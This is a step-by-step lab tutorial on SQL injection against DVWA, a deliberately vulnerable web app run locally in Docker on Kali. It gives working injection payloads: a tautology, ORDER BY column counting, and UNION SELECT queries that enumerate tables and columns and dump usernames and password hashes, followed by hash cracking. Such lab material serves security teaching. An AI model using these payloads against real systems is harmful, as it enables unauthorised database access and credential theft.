SQL Injection using DVWA on Kali Machine:
1. sudo apt update
2. sudo apt install [Link]
3. sudo docker pull vulnerables/web-dvwa
4. sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa
5. Open the browser on localhost and open the page: [Link]
6. DVWA web page will open. Login with username: admin and password: admin (or
password)
7. You will be directed to the database creation page. Scroll down and click on
“Create/Reset database”.
8. You will be directed to login page again. Login with the same credentials. You will see the
DVWA main page.
9. Ensure that security level is set to “Low” by clicking on “DVWA Security” and checking it.
10. Now click on “SQL Injection” on the left menu.
11. In the text box of User ID, type 1 to see the user details of user id 1. Do the same by
typing 2 in the User ID field and observe the output.
12. Type 1' OR '1'='1' -- - in the User ID field.
13. Now let us check how many columns are there in this table:
a. Enter 1’ ORDER BY 1 -- - (This works fine)
b. Now enter 1’ ORDER BY 2 -- - (This also works fine)
c. Now enter 1’ ORDER BY 3 -- - (We get error, which tells that there are two
columns in this table).
14. Now try with this command in the text box: 1’ UNION SELECT 1,2 -- -
15. Now try with the command: 1’ UNION SELECT 1,database() -- -
It reveals the database name dvwa.
16. We will now try to get the table names by using this SQL injection command:
1' UNION SELECT 1,table_name
FROM information_schema.tables
WHERE table_schema='dvwa' -- -
17. Next we will try to get the column names by running the following command:
1' UNION SELECT 1,column_name
FROM information_schema.columns
WHERE table_name='users' -- -
18. Now try to get the username and passwords from user table, by injecting this command
in the User ID text box: 1’ UNION SELECT user,password FROM users -- -
19. Select one of the password hashes and try to crack it by going to the site:
[Link]